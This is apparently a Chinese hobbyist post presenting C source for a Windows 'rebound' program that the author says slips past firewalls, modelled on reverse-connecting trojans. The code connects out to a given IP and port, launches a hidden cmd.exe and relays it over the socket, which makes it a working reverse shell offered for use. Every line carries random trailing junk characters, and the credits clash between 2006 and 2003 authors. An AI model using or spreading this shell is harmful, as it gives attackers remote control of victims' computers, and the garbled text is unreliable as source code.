这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 6gg8h>b
d!y*z
/* ============================== hi0HEm\
Rebound port in Windows NT 8vY-bm,e
By wind,2006/7 >d 2Fa4u3
===============================*/ 5~JT*Ny
#include H$(bSw$
#include zN4OrG0
Ic#xz;elM
#pragma comment(lib,"wsock32.lib") JQ&t"`\k
2d !'9mA
void OutputShell(); *x"80UXL
SOCKET sClient; ;Ba%aaHl
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; LwH#|8F
rVYoxXv
void main(int argc,char **argv) >1~
/:DJ
{ _/s"VYFZ
WSADATA stWsaData; i6`"e[aT[o
int nRet; @p+;iS1}
SOCKADDR_IN stSaiClient,stSaiServer; %iN>4;T8
Z4j6z>q E
if(argc != 3) V8?}I)#(7
{ K9lgDk"i
printf("Useage:\n\rRebound DestIP DestPort\n"); 'YNaLZ20
return; I &t~o
} Eah6"j!B8n
OU[<\d
WSAStartup(MAKEWORD(2,2),&stWsaData); *U?O4E9
NB"S,\M0
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S\k <
e3?=1ZB
stSaiClient.sin_family = AF_INET; :]^e-p!z
stSaiClient.sin_port = htons(0); ~&?bU]F
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); x *Lt]]A
ff"wg\O4
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) %@/^UE:
{ '$K E=Jy
printf("Bind Socket Failed!\n"); jVj5 ; }
return; XIeLu"TSL
} ~Iu! B
Y
ggr
stSaiServer.sin_family = AF_INET; \hB BG8=&
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); <uH8Fivb
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); `FP?9R6Y
WNjwv/
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) kN1MPd4Yh
{ kSQ8kU_w+
printf("Connect Error!"); *Z5^WHwg
return; a|aVc'j
} bLgH3[{
OutputShell(); /:&!o2&1H
} l>?c AB[
p*Bty@CRi
void OutputShell() hRcb}>pr
{ c?p^!zG
char szBuff[1024]; U@lc1#
SECURITY_ATTRIBUTES stSecurityAttributes; NR{wq|"
OSVERSIONINFO stOsversionInfo; &1xCPKIr
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; xvr5$x|h
STARTUPINFO stStartupInfo; 2ej7Ql_@c
char *szShell; <qCa9@Ea
PROCESS_INFORMATION stProcessInformation; <AHpk5Sn{
unsigned long lBytesRead; uy'ghF
W?
iA P
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Qw5nfg3T
Wgq|Q*
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); OG,P"sv
stSecurityAttributes.lpSecurityDescriptor = 0; sGvbL-S-f:
stSecurityAttributes.bInheritHandle = TRUE; `&$8/_`
${+u-Wfau
c8qr-x1HG
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); !liV Y]
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 30Q
p^)K
:QCL9QZ'
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^E
!v D
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #x%'U}sF
stStartupInfo.wShowWindow = SW_HIDE; 90}{4&C.^
stStartupInfo.hStdInput = hReadPipe; L"L3n,%F
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; &J[a.:..
8s%/5v"
GetVersionEx(&stOsversionInfo); )&DAbB!O
=BsV`p7rU
switch(stOsversionInfo.dwPlatformId) CUA @CZ6{
{ }2A6W%^>]
case 1: [&Xp]:M'D
szShell = "command.com"; p|4qkJK8
break; fn#8=TIDf
default: ) "#'
szShell = "cmd.exe"; [\uR3$j#
break; g|=_@
pL
} WA{igj@\
B*7kX&Uq
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); cw;wv+|k
ZO}Og&%
send(sClient,szMsg,77,0); #m+!<
while(1) l{3B}_,
{ t<%0eu|
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); *OVB;]D3+
if(lBytesRead) <3YZ0f f>
{ ]`E+HLEQ'
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ,!ZuH?Z
send(sClient,szBuff,lBytesRead,0); 2pS<;k`
} Ae)xFnuq3
else 4 23zX6
{ r;cDYg
lBytesRead=recv(sClient,szBuff,1024,0); od;-D~
if(lBytesRead<=0) break; JuRoeq.
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 'Pz%c}hJ
} ]AP1+
&9fN
} GnV0~?
<?jdNM
return; 93-Y(Xx)bY
}